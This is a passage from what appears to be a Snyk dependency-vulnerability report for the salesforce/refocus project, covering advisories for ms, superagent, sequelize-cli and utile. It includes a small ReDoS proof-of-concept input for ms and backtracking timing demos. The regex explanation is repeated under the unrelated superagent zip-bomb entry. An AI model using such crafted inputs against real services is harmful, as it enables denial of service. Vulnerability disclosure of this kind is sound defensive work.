    Remediation: Upgrade to swagger-tools@0.10.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af helmet@0.15.0 connect@3.4.0 finalhandler@0.4.0 debug@2.2.0 ms@0.7.1
    Remediation: Upgrade to helmet@3.6.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsonwebtoken@5.7.0 ms@0.7.3
    Remediation: Upgrade to jsonwebtoken@7.4.1.

Overview

ms is a tiny millisecond conversion utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.

Proof of concept

ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s

Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.

For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.

Disclosure Timeline

  • Feb 9th, 2017 - Reported the issue to package owner.
  • Feb 11th, 2017 - Issue acknowledged by package owner.
  • April 12th, 2017 - Fix PR opened by Snyk Security Team.
  • May 15th, 2017 - Vulnerability published.
  • May 16th, 2017 - Issue fixed and version 2.0.0 released.
  • May 21th, 2017 - Patches released for versions >=0.7.1, <=1.0.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ms to version 2.0.0 or higher.

References

low severity

Denial of Service (DoS)

  • Vulnerable module: superagent
  • Introduced through: swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 superagent@1.8.5
    Remediation: Upgrade to swagger-tools@0.10.2.

Overview

superagent is a Small progressive client-side HTTP request library, and Node.js module with the same API, supporting many high-level HTTP client features.

Affected versions of this package are vulnerable to Denial of Service (DoS). It uncompresses responses in memory, and a malicious user may send a specially crafted zip file which will then unzip in the server and cause excessive CPU consumption. This is also known as a Zip Bomb.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade superagent to version 3.7.0 or higher.

References

low severity

Sensitive Data Exposure

  • Vulnerable module: sequelize-cli
  • Introduced through: sequelize-cli@4.1.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize-cli@4.1.1
    Remediation: Upgrade to sequelize-cli@5.5.0.

Overview

sequelize-cli is a Command Line Interface (CLI) package version of the Sequelize Object Relational Mapping (ORM) platform.

Affected versions of this package are vulnerable to Sensitive Data Exposure. The filteredUrl function in sequelize-cli does not escape the config.password value, which allows sensitive user information such as passwords to be stored in log files.

Remediation

Upgrade sequelize-cli to version 5.5.0 or higher.

References

low severity

Uninitialized Memory Exposure

  • Vulnerable module: utile
  • Introduced through: jscs@3.0.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 prompt@0.2.14 utile@0.2.1

Overview

utile is a drop-in replacement for util with some additional advantageous functions.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure. A malicious user could extract sensitive data from uninitialized memory or to cause a DoS by passing in a large number, in setups where typed user input can be passed.

Note Uninitialized Memory Exposure impacts only Node.js 6.x or lower, Denial of Service impacts any Node.js version.

Details

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

Remediation

There is no fix version for utile.

References